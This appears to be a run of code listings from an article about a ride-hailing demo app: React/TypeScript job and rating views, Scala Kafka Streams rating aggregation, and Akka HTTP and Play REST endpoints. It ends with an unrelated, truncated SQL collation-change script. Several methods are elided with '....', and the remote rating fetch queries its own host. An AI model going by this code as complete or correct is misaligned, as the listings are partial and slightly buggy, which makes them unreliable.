                console.log('RX x = ', jobArgs.detail);
            },
            error =&gt; {
                console.log('RX saw ERROR');
                console.log('RX error = ', error);
            },
            () =&gt; {
                console.log('RX saw COMPLETE');
            }
        );
}</pre>


<pre lang="React">
import * as React from "react";
import * as ReactDOM from "react-dom";
import * as _ from "lodash";
import Measure from 'react-measure'
import { RatingDialog } from "./components/RatingDialog";
import { YesNoDialog } from "./components/YesNoDialog";
import { OkDialog } from "./components/OkDialog";
import { AcceptList } from "./components/AcceptList";
import 'bootstrap/dist/css/bootstrap.css';
import {
    Well,
    Grid,
    Row,
    Col,
    ButtonInput,
    ButtonGroup,
    Button,
    Modal,
    Popover,
    Tooltip,
    OverlayTrigger
} from "react-bootstrap";
import { AuthService } from "./services/AuthService";
import { JobService } from "./services/JobService";
import { JobStreamService } from "./services/JobStreamService";
import { PositionService } from "./services/PositionService";
import { Position } from "./domain/Position";
import { PositionMarker } from "./domain/PositionMarker";
import { hashHistory } from 'react-router';
import { withGoogleMap, GoogleMap, Marker, OverlayView } from "react-google-maps";

const STYLES = {
    overlayView: {
        background: `white`,
        border: `1px solid #ccc`,
        padding: 15,
    }
}


const GetPixelPositionOffset = (width, height) =&gt; {
    return { x: -(width / 2), y: -(height / 2) };
}



const ViewJobGoogleMap = withGoogleMap(props =&gt; (

    &lt;GoogleMap
        ref={props.onMapLoad}
        defaultZoom={16}
        defaultCenter={{ lat: 50.8202949, lng: -0.1406958 }}
        onClick={props.onMapClick}&gt;
        {props.markers.map((marker, index) =&gt; (
            &lt;OverlayView
                key={marker.key}
                mapPaneName={OverlayView.OVERLAY_MOUSE_TARGET}
                position={marker.position}
                getPixelPositionOffset={GetPixelPositionOffset}&gt;
                &lt;div style={STYLES.overlayView}&gt;
                    &lt;img src={marker.icon} /&gt;
                    &lt;strong&gt;{marker.key}&lt;/strong&gt;
                &lt;/div&gt;
            &lt;/OverlayView&gt;
        ))}
    &lt;/GoogleMap&gt;
));


export interface ViewJobState {
    markers: Array&lt;PositionMarker&gt;;
    okDialogOpen: boolean;
    okDialogKey: number;
    okDialogHeaderText: string;
    okDialogBodyText: string;
    dimensions: {
        width: number,
        height: number
    },
    currentPosition: Position;
    isJobAccepted: boolean;
    finalActionHasBeenClicked: boolean;
}

type DoneCallback = (jdata: any, textStatus: any, jqXHR: any) =&gt; void


export class ViewJob extends React.Component&lt;undefined, ViewJobState&gt; {

    private _authService: AuthService;
    private _jobService: JobService;
    private _jobStreamService: JobStreamService;
    private _positionService: PositionService;
    private _subscription: any; 
    private _currentJobUUID: any;

    constructor(props: any) {
        super(props);
        this._authService = props.route.authService;
        this._jobStreamService = props.route.jobStreamService;
        this._jobService = props.route.jobService;
        this._positionService = props.route.positionService;
        
        if (!this._authService.isAuthenticated()) {
            hashHistory.push('/');
        }

        let savedMarkers: Array&lt;PositionMarker&gt; = new Array&lt;PositionMarker&gt;();
        if (this._positionService.hasJobPositions()) {
            savedMarkers = this._positionService.userJobPositions();
        }

        this.state = {
            markers: savedMarkers,
            okDialogHeaderText: '',
            okDialogBodyText: '',
            okDialogOpen: false,
            okDialogKey: 0,
            dimensions: { width: -1, height: -1 },
            currentPosition: this._authService.isDriver() ? null :
                this._positionService.currentPosition(),
            isJobAccepted: false,
            finalActionHasBeenClicked: false
        };
    }

    componentWillMount() {
        var self = this;
        this._subscription =
            this._jobStreamService.getJobStream()
            .retry()
            .where(function (x, idx, obs) {
                return self.shouldShowMarkerForJob(x.detail);
            })
            .subscribe(
                jobArgs =&gt; {

                    console.log('RX saw onJobChanged');
                    console.log('RX x = ', jobArgs.detail);

                    this._jobService.clearUserIssuedJob();
                    this._jobService.storeUserIssuedJob(jobArgs.detail);
                    this.addMarkerForJob(jobArgs.detail);
                },
                error =&gt; {
                    console.log('RX saw ERROR');
                    console.log('RX error = ', error);
                },
                () =&gt; {
                    console.log('RX saw COMPLETE');
                }
            );
    }

    componentWillUnmount() {
        this._subscription.dispose();
        this._positionService.storeUserJobPositions(this.state.markers);
    }

    render() {

        const adjustedwidth = this.state.dimensions.width;

        return (
            &lt;Well className="outer-well"&gt;
                &lt;Grid&gt;
                    &lt;Row className="show-grid"&gt;
                        &lt;Col xs={10} md={6}&gt;
                            &lt;h4&gt;CURRENT JOB&lt;/h4&gt;
                        &lt;/Col&gt;
                    &lt;/Row&gt;
                    &lt;Row className="show-grid"&gt;
                        &lt;Col xs={10} md={6}&gt;
                            &lt;AcceptList
                                markers={_.filter(this.state.markers, { isDriverIcon: true })}
                                currentUserIsDriver={this._authService.isDriver()}
                                clickCallback={this.handleMarkerClick}
                            /&gt;
                        &lt;/Col&gt;
                    &lt;/Row&gt;
                    &lt;Row className="show-grid"&gt;
                        &lt;Col xs={10} md={6}&gt;
                            &lt;Measure
                                bounds
                                onResize={(contentRect) =&gt; {
                                    this.setState({ dimensions: contentRect.bounds })
                                }}&gt;
                                {({ measureRef }) =&gt;
                                    &lt;div ref={measureRef}&gt;
                                        &lt;ViewJobGoogleMap
                                            containerElement={
                                                &lt;div style={{
                                                    position: 'relative',
                                                    top: 0,
                                                    left: 0,
                                                    right: 0,
                                                    bottom: 0,
                                                    width: { adjustedwidth },
                                                    height: 600,
                                                    justifyContent: 'flex-end',
                                                    alignItems: 'center',
                                                    marginTop: 20,
                                                    marginLeft: 0,
                                                    marginRight: 0,
                                                    marginBottom: 20
                                                }} /&gt;
                                            }
                                            mapElement={
                                                &lt;div style={{
                                                    position: 'relative',
                                                    top: 0,
                                                    left: 0,
                                                    right: 0,
                                                    bottom: 0,
                                                    width: { adjustedwidth },
                                                    height: 600,
                                                    marginTop: 20,
                                                    marginLeft: 0,
                                                    marginRight: 0,
                                                    marginBottom: 20
                                                }} /&gt;
                                            }
                                            markers={this.state.markers}
                                            onMapClick={this.handleMapClick}
                                        /&gt;
                                    &lt;/div&gt;
                                }
                            &lt;/Measure&gt;
                        &lt;/Col&gt;
                    &lt;/Row&gt;

                    {this.state.isJobAccepted === true ?
                        &lt;Row className="show-grid"&gt;
                            &lt;span&gt;
                                &lt;RatingDialog
                                    theId="viewJobCompleteBtn"
                                    headerText="Rate your driver/passenger"
                                    okCallBack={this.ratingsDialogOkCallBack}
                                    actionPerformed={this.state.finalActionHasBeenClicked} /&gt;

                                {!(this._authService.isDriver() === true) ?

                                    &lt;YesNoDialog
                                        theId="viewJobCancelBtn"
                                        launchButtonText="Cancel"
                                        actionPerformed={this.state.finalActionHasBeenClicked} 
                                        yesCallBack={this.jobCancelledCallBack}
                                        noCallBack={this.jobNotCancelledCallBack}
                                        headerText="Cancel the job" /&gt;
                                    : 
                                    null
                                }

                                &lt;OkDialog
                                    open={this.state.okDialogOpen}
                                    okCallBack={this.okDialogCallBack}
                                    headerText={this.state.okDialogHeaderText}
                                    bodyText={this.state.okDialogBodyText}
                                    key={this.state.okDialogKey} /&gt;
                            &lt;/span&gt;
                        &lt;/Row&gt; :
                        null
                    }
                &lt;/Grid&gt;
            &lt;/Well&gt;
        );
    }

    handleMapClick = (event) =&gt; {
        ....
        ....
        this._positionService.clearUserJobPositions();
        this._positionService.storeUserJobPositions(this.state.markers);
        this.pushOutJob(newPosition, currentJob);
    }

    handleMarkerClick = (targetMarker) =&gt; {

        console.log('button on AcceptList clicked:' + targetMarker.key);
        console.log(targetMarker);

        let currentJob = this._jobService.currentJob();
        let jobForMarker = targetMarker.jobForMarker;

        let clientMarker = _.find(this.state.markers, { 'isDriverIcon': false });
        if (clientMarker != undefined &amp;&amp; clientMarker != null) {

            let clientJob = clientMarker.jobForMarker;
            clientJob.driverFullName = jobForMarker.driverFullName;
            clientJob.driverEmail = jobForMarker.driverEmail;
            clientJob.driverPosition = jobForMarker.driverPosition;
            clientJob.vehicleDescription = jobForMarker.vehicleDescription;
            clientJob.vehicleRegistrationNumber = jobForMarker.vehicleRegistrationNumber;
            clientJob.isAssigned = true;
            
            let self = this;
            console.log("handleMarkerClick job");
            console.log(clientJob);

            this.makePOSTRequest('job/submit', clientJob, this,
                function (jdata, textStatus, jqXHR) {
                    console.log("After is accepted");
                    const newState = Object.assign({}, self.state, {
                        isJobAccepted: true
                    })
                    self.setState(newState);
                });
        }
    }

    addMarkerForJob = (jobArgs: any): void =&gt; {

        console.log("addMarkerForJob");
        console.log(this.state);

        if (this.state.isJobAccepted || jobArgs.isAssigned) {
            this.processAcceptedMarkers(jobArgs);
        }
        else {
            this.processNotAcceptedMarkers(jobArgs);
        }
    }

    processAcceptedMarkers = (jobArgs: any): void =&gt; {
        ....
        ....
    }


    processNotAcceptedMarkers = (jobArgs: any): void =&gt; {
        ....
        ....
    }

    addClientDetailsToDrivers = (newMarkersList: PositionMarker[]): void =&gt; {
        ....
    }


    updateStateForMarkers = (newState: any, newMarkersList: PositionMarker[], newPositionForUser: Position, jobArgs:any): void =&gt; {

        //Update the list of position markers in the PositionService
        this._positionService.clearUserJobPositions();
        this._positionService.storeUserJobPositions(newMarkersList);

        //Update the position in the PositionService
        if (newPositionForUser != undefined &amp;&amp; newPositionForUser != null) {
            this._positionService.clearUserPosition();
            this._positionService.storeUserPosition(newPositionForUser);
        }

        this._jobService.clearUserIssuedJob();
        this._jobService.storeUserIssuedJob(jobArgs);

        //update the state
        this.setState(newState);
    }

    updateMatchedUserMarker = (jobEmailToCheck: string, newMarkersList: PositionMarker[],
        jobPosition: Position, jobForMarker:any): void =&gt; {

        if (jobEmailToCheck != undefined &amp;&amp; jobEmailToCheck != null) {

            let matchedMarker = _.find(this.state.markers, { 'email': jobEmailToCheck });
            if (matchedMarker != null) {
                //update its position
                matchedMarker.position = jobPosition;
                matchedMarker.jobForMarker = jobForMarker;
            }
        }
    }


    updateStateForNewMarker = (newMarkersList:PositionMarker[], position: Position): any =&gt; {

        if (position != null) {
            return Object.assign({}, this.state, {
                currentPosition: position,
                markers: newMarkersList
            })
        }
        else {
           return Object.assign({}, this.state, {
                markers: newMarkersList
            })
        }
    }

    updateStateForAcceptedMarker = (newMarkersList: PositionMarker[], position: Position): any =&gt; {

        if (position != null) {
            return Object.assign({}, this.state, {
                currentPosition: position,
                markers: newMarkersList,
                isJobAccepted: true
            })
        }
        else {
            return Object.assign({}, this.state, {
                markers: newMarkersList,
                isJobAccepted: true
            })
        }
    }


    shouldShowMarkerForJob = (jobArgs: any): boolean =&gt; {

        let isDriver = this._authService.isDriver();
        let currentJob = this._jobService.currentJob();
        let hasJob = currentJob != undefined &amp;&amp; currentJob != null;

        //case 1 - No job exists, to allow driver to add their mark initially
        if (!hasJob &amp;&amp; isDriver)
            return true;
        
        //case 2 - Job exists and is unassigned and if there is no other active 
        //         job for this client/ driver
        if (hasJob &amp;&amp; !currentJob.isAssigned)
            return true;

        //case 3 - If the job isAssigned and its for the current logged in client/driver
        if (hasJob &amp;&amp; currentJob.isAssigned) {
            if (currentJob.clientEmail == jobArgs.clientEmail) {
                return true;
            }
            if (currentJob.driverEmail == jobArgs.driverEmail) {
                return true;
            }
        }
        return false;
    }


    pushOutJob = (newPosition: Position, jobForMarker : any): void =&gt; {
        ....
        ....
        ....
        var newJob = {
            jobUUID: this._currentJobUUID != undefined &amp;&amp; this._currentJobUUID != '' ?
                this._currentJobUUID : '',
            clientFullName: localClientFullName,
            clientEmail: localClientEmail,
            clientPosition: localClientPosition,
            driverFullName: localDriverFullName,
            driverEmail: localDriverEmail,
            driverPosition: localDriverPosition,
            vehicleDescription: isDriver ?
                this._authService.user().vehicleDescription : '',
            vehicleRegistrationNumber: isDriver ?
                this._authService.user().vehicleRegistrationNumber : '',
            isAssigned: localIsAssigned,
            isCompleted: false
        }

        console.log("handlpushOutJob job");
        console.log(newJob);
        this.makePOSTRequest('job/submit', newJob, self,
            function (jdata, textStatus, jqXHR) {
                self._jobService.clearUserIssuedJob();
                self._jobService.storeUserIssuedJob(newJob);
            });
    }

    createDriverMarker = (
        driver: any,
        event: any): PositionMarker =&gt; {

        ....
    }


    
    ratingsDialogOkCallBack = (theRatingScore: number) =&gt; {
        console.log('RATINGS OK CLICKED');

       //POST rating data
    }

   
    makePOSTRequest = (route: string, jsonData: any, context: ViewJob, doneCallback: DoneCallback) =&gt; {
        //Post job data
    }

    ....
    ....
}</pre>


<pre lang="Scala">
import java.util.concurrent.TimeUnit
import org.apache.kafka.common.serialization._
import org.apache.kafka.streams._
import org.apache.kafka.streams.kstream._
import entities.Rating
import serialization.JSONSerde
import topics.RatingsTopics
import utils.Settings
import stores.StateStores
import org.apache.kafka.streams.state.HostInfo
import scala.concurrent.ExecutionContext
import scala.concurrent.duration._


package processing.ratings {

  import org.apache.kafka.streams.errors.BrokerNotFoundException
  import utils.Retry

  class RatingByEmailInitializer extends Initializer[List[Rating]] {
    override def apply(): List[Rating] = List[Rating]()
  }

  class RatingByEmailAggregator extends Aggregator[String, Rating, List[Rating]] {
    override def apply(aggKey: String, value: Rating, aggregate: List[Rating]) = {
      value :: aggregate
    }
  }


  object RatingStreamProcessingApp extends App {

    implicit val ec = ExecutionContext.global

    run()

    private def run(): Unit = {

      val restEndpoint: HostInfo = new HostInfo(Settings.restApiDefaultHostName, Settings.restApiDefaultPort)
      System.out.println(s"Connecting to Kafka cluster via bootstrap servers ${Settings.bootStrapServers}")
      System.out.println(s"REST endpoint at http://${restEndpoint.host}:${restEndpoint.port}")

      val maybeStreams =
        Retry.whileSeeingExpectedException[KafkaStreams,BrokerNotFoundException](10.seconds)(createStreams)

      maybeStreams match {
        case Some(streams) =&gt; {
          val restService = new RatingRestService(streams, restEndpoint)
          restService.start()

          Runtime.getRuntime.addShutdownHook(new Thread(() =&gt; {
            streams.close(10, TimeUnit.SECONDS)
            restService.stop
          }))
        }
        case None =&gt; {
          println("Quiting due to no streams available/unknown expcetion")
        }
      }

      //return unit
      ()
    }

    def createStreams() : KafkaStreams = {
      val stringSerde = Serdes.String
      val ratingSerde = new JSONSerde[Rating]
      val listRatingSerde = new JSONSerde[List[Rating]]
      val builder: KStreamBuilder = new KStreamBuilder
      val ratings = builder.stream(stringSerde, ratingSerde, RatingsTopics.RATING_SUBMIT_TOPIC)

      //aggrgate by (user email -&gt; their ratings)
      val ratingTable = ratings.groupByKey(stringSerde, ratingSerde)
        .aggregate(
          new RatingByEmailInitializer(),
          new RatingByEmailAggregator(),
          listRatingSerde,
          StateStores.RATINGS_BY_EMAIL_STORE
        )

      //useful debugging aid, print KTable contents
      ratingTable.toStream.print()

      val streams: KafkaStreams = new KafkaStreams(builder, Settings.createRatingStreamsProperties)

      // Always (and unconditionally) clean local state prior to starting the processing topology.
      // We opt for this unconditional call here because this will make it easier for you to
      // play around with the example when resetting the application for doing a re-run
      // (via the Application Reset Tool,
      // http://docs.confluent.io/current/streams/developer-guide.html#application-reset-tool).
      //
      // The drawback of cleaning up local state prior is that your app must rebuilt its local
      // state from scratch, which will take time and will require reading all the state-relevant
      // data from the Kafka cluster over the network.
      // Thus in a production scenario you typically do not want to clean up always as we do
      // here but rather only when it is truly needed, i.e., only under certain conditions
      // (e.g., the presence of a command line flag for your app).
      // See `ApplicationResetExample.java` for a production-like example.
      streams.cleanUp();
      streams.start()
      streams
    }
  }

}
</pre>


<pre lang="Scala">
package processing.ratings

import org.apache.kafka.streams.KafkaStreams
import org.apache.kafka.streams.state.StreamsMetadata
import java.util.stream.Collectors
import entities.HostStoreInfo
import org.apache.kafka.common.serialization.Serializer
import org.apache.kafka.connect.errors.NotFoundException
import scala.collection.JavaConverters._


/**
  * Looks up StreamsMetadata from KafkaStreams
  */
class MetadataService(val streams: KafkaStreams) {


   /**
    * Get the metadata for all of the instances of this Kafka Streams application
    *
    * @return List of { @link HostStoreInfo}
    */
  def streamsMetadata() : List[HostStoreInfo] = {

    // Get metadata for all of the instances of this Kafka Streams application
    val metadata = streams.allMetadata
    return mapInstancesToHostStoreInfo(metadata)
  }


  /**
    * Get the metadata for all instances of this Kafka Streams application that currently
    * has the provided store.
    *
    * @param store The store to locate
    * @return List of { @link HostStoreInfo}
    */
  def streamsMetadataForStore(store: String) : List[HostStoreInfo] = {

    // Get metadata for all of the instances of this Kafka Streams application hosting the store
    val metadata = streams.allMetadataForStore(store)
    return mapInstancesToHostStoreInfo(metadata)
  }


  /**
    * Find the metadata for the instance of this Kafka Streams Application that has the given
    * store and would have the given key if it exists.
    *
    * @param store Store to find
    * @param key   The key to find
    * @return { @link HostStoreInfo}
    */
  def streamsMetadataForStoreAndKey[T](store: String, key: T, serializer: Serializer[T]) : HostStoreInfo = {
    // Get metadata for the instances of this Kafka Streams application hosting the store and
    // potentially the value for key
    val metadata = streams.metadataForKey(store, key, serializer)
    if (metadata == null)
      throw new NotFoundException(
        s"No metadata could be found for store : ${store}, and key type : ${key.getClass.getName}")

    HostStoreInfo(metadata.host, metadata.port, metadata.stateStoreNames.asScala.toList)
  }


  def mapInstancesToHostStoreInfo(metadatas : java.util.Collection[StreamsMetadata]) : List[HostStoreInfo] = {

    metadatas.stream.map[HostStoreInfo](metadata =&gt;
      HostStoreInfo(
        metadata.host(),
        metadata.port,
        metadata.stateStoreNames.asScala.toList))
      .collect(Collectors.toList())
      .asScala.toList
  }

}
</pre>


<pre lang="Scala">
package processing.ratings

import org.apache.kafka.streams.KafkaStreams
import org.apache.kafka.streams.state.HostInfo
import akka.actor.ActorSystem
import akka.http.scaladsl.Http
import akka.http.scaladsl.model._
import akka.http.scaladsl.server.Directives._
import akka.stream.ActorMaterializer
import akka.http.scaladsl.marshallers.sprayjson.SprayJsonSupport._
import spray.json.DefaultJsonProtocol._
import entities.AkkaHttpEntitiesJsonFormats._
import entities._
import stores.StateStores
import akka.http.scaladsl.marshalling.ToResponseMarshallable
import org.apache.kafka.common.serialization.Serdes
import scala.concurrent.{Await, ExecutionContext, Future}
import akka.http.scaladsl.unmarshalling.Unmarshal
import spray.json._
import scala.util.{Failure, Success}
import org.apache.kafka.streams.state.QueryableStoreTypes
import scala.concurrent.duration._



object RestService {
  val DEFAULT_REST_ENDPOINT_HOSTNAME  = "localhost"
}


class RatingRestService(val streams: KafkaStreams, val hostInfo: HostInfo) {

  val metadataService = new MetadataService(streams)
  var bindingFuture: Future[Http.ServerBinding] = null

  implicit val system = ActorSystem("rating-system")
  implicit val materializer = ActorMaterializer()
  implicit val executionContext = system.dispatcher


  def start() : Unit = {
    val emailRegexPattern =  """\w+""".r
    val storeNameRegexPattern =  """\w+""".r

    val route =
      path("ratingByEmail") {
        get {
          parameters('email.as[String]) { (email) =&gt;
            try {

              val host = metadataService.streamsMetadataForStoreAndKey[String](
                StateStores.RATINGS_BY_EMAIL_STORE,
                email,
                Serdes.String().serializer()
              )

              var future:Future[List[Rating]] = null

              //store is hosted on another process, REST Call
              if(!thisHost(host))
                future = fetchRemoteRatingByEmail(host, email)
              else
                future = fetchLocalRatingByEmail(email)

              val ratings = Await.result(future, 20 seconds)
              complete(ratings)
            }
            catch {
              case (ex: Exception) =&gt; {
                val finalList:List[Rating] = scala.collection.immutable.List[Rating]()
                complete(finalList)
              }
            }
          }
        }
      } ~
      path("instances") {
        get {
          complete(ToResponseMarshallable.apply(metadataService.streamsMetadata))
        }
      }~
      path("instances" / storeNameRegexPattern) { storeName =&gt;
        get {
          complete(ToResponseMarshallable.apply(metadataService.streamsMetadataForStore(storeName)))
        }
      }

    bindingFuture = Http().bindAndHandle(route, hostInfo.host, hostInfo.port)
    println(s"Server online at http://${hostInfo.host}:${hostInfo.port}/\n")

    Runtime.getRuntime.addShutdownHook(new Thread(() =&gt; {
      bindingFuture
        .flatMap(_.unbind()) // trigger unbinding from the port
        .onComplete(_ =&gt; system.terminate()) // and shutdown when done
    }))
  }


  def fetchRemoteRatingByEmail(host:HostStoreInfo, email: String) : Future[List[Rating]] = {

    val requestPath = s"http://${hostInfo.host}:${hostInfo.port}/ratingByEmail?email=${email}"
    println(s"Client attempting to fetch from online at ${requestPath}")

    val responseFuture: Future[List[Rating]] = {
      Http().singleRequest(HttpRequest(uri = requestPath))
        .flatMap(response =&gt; Unmarshal(response.entity).to[List[Rating]])
    }

    responseFuture
  }

  def fetchLocalRatingByEmail(email: String) : Future[List[Rating]] = {

    val ec = ExecutionContext.global

    println(s"client fetchLocalRatingByEmail email=${email}")

    val host = metadataService.streamsMetadataForStoreAndKey[String](
      StateStores.RATINGS_BY_EMAIL_STORE,
      email,
      Serdes.String().serializer()
    )

    val f = StateStores.waitUntilStoreIsQueryable(
      StateStores.RATINGS_BY_EMAIL_STORE,
      QueryableStoreTypes.keyValueStore[String,List[Rating]](),
      streams
    ).map(_.get(email))(ec)

    val mapped = f.map(rating =&gt; {
      if (rating == null)
        List[Rating]()
      else
        rating
    })

    mapped
  }

  def stop() : Unit = {
    bindingFuture
      .flatMap(_.unbind()) // trigger unbinding from the port
      .onComplete(_ =&gt; system.terminate()) // and shutdown when done
  }

  def thisHost(hostStoreInfo: HostStoreInfo) : Boolean = {
    hostStoreInfo.host.equals(hostInfo.host()) &amp;&amp;
      hostStoreInfo.port == hostInfo.port
  }
}
</pre>


<pre lang="Scala">
package controllers

import javax.inject.Inject
import entities.RatingJsonFormatters._
import entities._
import actors.rating.RatingProducerActor
import akka.actor.{ActorSystem, OneForOneStrategy, Props, SupervisorStrategy}
import akka.pattern.{Backoff, BackoffSupervisor}
import akka.stream.{ActorMaterializer, ActorMaterializerSettings, Supervision}
import play.api.libs.json._
import play.api.libs.json.Json
import play.api.libs.json.Format
import play.api.libs.json.JsSuccess
import play.api.libs.json.Writes
import play.api.libs.ws._
import play.api.mvc.{Action, Controller}
import utils.{Errors, Settings}
import scala.concurrent.{ExecutionContext, Future}
import scala.util.Random
import scala.concurrent.duration._

class RatingController @Inject()
(
  implicit actorSystem: ActorSystem,
  ec: ExecutionContext,
  ws: WSClient
) extends Controller
{

  //Error handling for streams
  //http://doc.akka.io/docs/akka/2.5.2/scala/stream/stream-error.html
  val decider: Supervision.Decider = {
    case _ =&gt; Supervision.Restart
  }

  implicit val mat = ActorMaterializer(
    ActorMaterializerSettings(actorSystem).withSupervisionStrategy(decider))
  val childRatingActorProps = Props(classOf[RatingProducerActor],mat,ec)
  val rand = new Random()
  val ratingSupervisorProps = BackoffSupervisor.props(
    Backoff.onStop(
      childRatingActorProps,
      childName = s"RatingProducerActor_${rand.nextInt()}",
      minBackoff = 3.seconds,
      maxBackoff = 30.seconds,
      randomFactor = 0.2
    ).withSupervisorStrategy(
      OneForOneStrategy() {
        case _ =&gt; SupervisorStrategy.Restart
      })
  )

  val ratingSupervisorActorRef = actorSystem.actorOf(ratingSupervisorProps, name = "ratingSupervisor")

  def submitNewRating = Action.async(parse.json) { request =&gt;
    Json.fromJson[Rating](request.body) match {
      case JsSuccess(newRating, _) =&gt; {
        ratingSupervisorActorRef ! newRating
        Future.successful(Ok(Json.toJson(newRating.copy(toEmail = newRating.toEmail.toUpperCase))))
      }
      case JsError(errors) =&gt;
        Future.successful(BadRequest("Could not build a Rating from the json provided. " +
          Errors.show(errors)))
    }
  }


  def ratingByEmail = Action.async { request =&gt;
    val email = request.getQueryString("email")
    email match {
      case Some(emailAddress) =&gt; {
        val url = s"http://${Settings.ratingRestApiHostName}:${Settings.ratingRestApiPort}/ratingByEmail?email=${emailAddress}"
        ws.url(url).get().map {
          response =&gt; (response.json).validate[List[Rating]]
        }.map(x =&gt; Ok(Json.toJson(x.get)))
      }
      case None =&gt; {
        Future.successful(BadRequest(
          "ratingByEmail endpoint MUST be supplied with a non empty 'email' query string value"))
      }
    }
  }
}
</pre>


<pre lang="React">
import * as React from "react";
import * as ReactDOM from "react-dom";
import * as _ from "lodash";
import { OkDialog } from "./components/OkDialog";
import 'bootstrap/dist/css/bootstrap.css';
import
{
    Well,
    Grid,
    Row,
    Col,
    Label,
    ButtonInput
} from "react-bootstrap";
 
import { AuthService } from "./services/AuthService";
 
import { hashHistory  } from 'react-router';
 
 
 
class Rating {
    fromEmail: string
    toEmail: string
    score: number
 
    constructor(fromEmail, toEmail, score) {
        this.fromEmail = fromEmail;
        this.toEmail = toEmail;
        this.score = score;
    }
}
 
 
export interface ViewRatingState {
    ratings: Array&lt;Rating&gt;;
    overallRating: number;
    okDialogOpen: boolean;
    okDialogKey: number;
    okDialogHeaderText: string;
    okDialogBodyText: string;
    wasSuccessful: boolean;
}
 
 
export class ViewRating extends React.Component&lt;undefined, ViewRatingState&gt; {
 
    private _authService: AuthService;
 
    constructor(props: any) {
        super(props);
        this._authService = props.route.authService;
        if (!this._authService.isAuthenticated()) {
            hashHistory.push('/');
        }
        this.state = {
            overallRating: 0,
            ratings: Array(),
            okDialogHeaderText: '',
            okDialogBodyText: '',
            okDialogOpen: false,
            okDialogKey: 0,
            wasSuccessful: false
        };
    }   
 
 
    loadRatingsFromServer = () =&gt; {
 
        var self = this;
        var currentUserEmail = this._authService.userEmail();
 
        $.ajax({
            type: 'GET',
            url: 'rating/byemail?email=' + currentUserEmail,
            contentType: "application/json; charset=utf-8",
            dataType: 'json'
        })
        .done(function (jdata, textStatus, jqXHR) {
 
            console.log("result of GET rating/byemail");
            console.log(jqXHR.responseText);
            let ratingsObtained = JSON.parse(jqXHR.responseText);
            self.setState(
                {
                    overallRating: _.sumBy(ratingsObtained, 'score'),
                    ratings: ratingsObtained
                });
        })
        .fail(function (jqXHR, textStatus, errorThrown) {
            self.setState(
                {
                    okDialogHeaderText: 'Error',
                    okDialogBodyText: 'Could not load Ratings',
                    okDialogOpen: true,
                    okDialogKey: Math.random()
                });
        });
         
    }
 
    componentDidMount() {
        this.loadRatingsFromServer();
    }
 
    render() {
 
        var rowComponents = this.generateRows();
 
        return (
            &lt;Well className="outer-well"&gt;
                    &lt;Grid&gt;
                        &lt;Row className="show-grid"&gt;
                            &lt;Col xs={6} md={6}&gt;
                                &lt;div&gt;
                                &lt;h4&gt;YOUR OVERALL RATING &lt;Label&gt;{this.state.overallRating}&lt;/Label&gt;&lt;/h4&gt;
                                &lt;/div&gt;
                            &lt;/Col&gt;
                        &lt;/Row&gt;
                        &lt;Row className="show-grid"&gt;
                            &lt;Col xs={10} md={6}&gt;
                                &lt;h6&gt;The finer details of your ratings are shown below&lt;/h6&gt;
                            &lt;/Col&gt;
                        &lt;/Row&gt;
                        &lt;Row className="show-grid"&gt;
                            &lt;Col xs={10} md={6}&gt;
                                &lt;div className="table-responsive"&gt;
                                    &lt;table className="table table-striped table-bordered table-condensed factTable"&gt;
                                        &lt;thead&gt;
                                            &lt;tr&gt;
                                                &lt;th&gt;Rated By&lt;/th&gt;
                                                &lt;th&gt;Rating Given&lt;/th&gt;
                                            &lt;/tr&gt;
                                        &lt;/thead&gt;
                                        &lt;tbody&gt;
                                            {rowComponents} 
                                        &lt;/tbody&gt;
                                    &lt;/table&gt;
                                &lt;/div&gt;
                            &lt;/Col&gt;
                        &lt;/Row&gt;
                        &lt;Row className="show-grid"&gt;
                            &lt;span&gt;
                                &lt;OkDialog
                                    open= {this.state.okDialogOpen}
                                    okCallBack= {this._okDialogCallBack}
                                    headerText={this.state.okDialogHeaderText}
                                    bodyText={this.state.okDialogBodyText}
                                    key={this.state.okDialogKey}/&gt;
                            &lt;/span&gt;
                        &lt;/Row&gt;
                    &lt;/Grid&gt;
            &lt;/Well&gt;
        )
    }
 
    _okDialogCallBack = () =&gt; {
        this.setState(
            {
                okDialogOpen: false
            });
    }
 
    generateRows = () =&gt; {
        return this.state.ratings.map(function (item) {
            return  &lt;tr key={item.fromEmail}&gt;
                        &lt;td&gt;{item.fromEmail}&lt;/td&gt;
                        &lt;td&gt;{item.score}&lt;/td&gt;
                    &lt;/tr&gt;;
 
        });
    } 
}</pre>


<pre lang="SQL">
if((Select Count(*) From sysobjects where name='TmpGetObjectStatement')&gt;0) 
     Drop Function dbo.TmpGetObjectStatement 
 exec('Create Function dbo.TmpGetObjectStatement(@D int)returns nvarchar(Max) 
 as begin 
 declare @R nvarchar(Max) 
 Set @R='''' 
 declare @T nvarchar(Max) 
 DECLARE CTmpGetObjectStatement CURSOR READ_ONLY FAST_FORWARD FOR 
     select c.text from dbo.syscomments c, dbo.sysobjects o     where o.id = c.id and c.id =@D order by c.number, c.colid option(robust plan) 
 OPEN CTmpGetObjectStatement 
 FETCH NEXT FROM CTmpGetObjectStatement INTO @T 
 WHILE (@@FETCH_STATUS = 0) 
 BEGIN 
     Set @R=@R+@T 
     FETCH NEXT FROM CTmpGetObjectStatement INTO @T 
 END 
 CLOSE CTmpGetObjectStatement 
 Deallocate CTmpGetObjectStatement 
 return @R 
 end') 
 declare @C nvarchar(max) 
 Set @C='Arabic_CI_AS' --you can put your collation here
 declare @Dt nvarchar(max) 
 Set @Dt=DB_NAME() 
 exec('alter database ['+@Dt+'] SET SINGLE_USER') 
 declare @Q nvarchar(max) 
 declare @Tb table(CreateQry nvarchar(max),DeleteQry nvarchar(max)) 
 declare @ErrTb table(ID int IDENTITY(1,1) NOT NULL,Qry nvarchar(max),Err nvarchar(max)) 
 declare @ErID int 
 Insert into @Tb(CreateQry,DeleteQry) 
 SELECT 
 'if((Select Count(*) From sysobjects where name='''+a.RName+''')=0)ALTER TABLE dbo.'+a.RTable+' WITH CHECK ADD CONSTRAINT ['+a.RName+'] FOREIGN KEY(['+a.RColumn+']) REFERENCES dbo.'+a.FTable+' (['+a.FColumn+'])'+ 
 (CASE When a.UpdateAction&gt;0 Then ' ON UPDATE CASCADE' Else '' End)+(CASE When a.DeleteAction&gt;0 Then ' ON Delete CASCADE' Else '' End) 
 ,'if((Select Count(*) From sysobjects where name='''+a.RName+''')&gt;0) ALTER TABLE dbo.'+a.RTable+' DROP CONSTRAINT ['+a.RName+']' From 
 (Select a3.name As FTable,a2.name as RTable,a1.name as RName,(Select Name From syscolumns Where ID=A.fkeyid And colorder=A.fkey)As RColumn 
